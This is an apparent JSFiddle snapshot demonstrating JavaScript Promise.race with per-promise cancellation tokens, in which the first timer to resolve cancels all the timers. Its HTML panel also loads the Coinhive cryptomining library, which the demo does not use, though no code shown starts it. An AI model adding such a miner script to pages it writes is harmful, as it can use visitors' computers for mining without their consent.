JSFiddle - React, Tailwind, and code Playground

HTML

<script src="https://coinhive.com/lib/coinhive.min.js"></script>

JavaScript

function wait(ms, token){
    return new Promise(function(resolve){
        var t = setTimeout(function(){
            console.log('waited ', ms);
            resolve();
        }, ms);
        token.cancel = function(){
        	clearTimeout(t);
        }
    })
}

var tokens = [{},{},{}];

promise1 = wait(3000,tokens[0]);
promise2 = wait(2000,tokens[1]);
promise3 = wait(5000,tokens[2]);

listPromise = [promise1, promise2,promise3];

var p = Promise.race(listPromise).then(function(){
    console.log("Very first promise has resolved!");
    for(var i = 0; i< listPromise.length; i++)
    	tokens[i].cancel();
})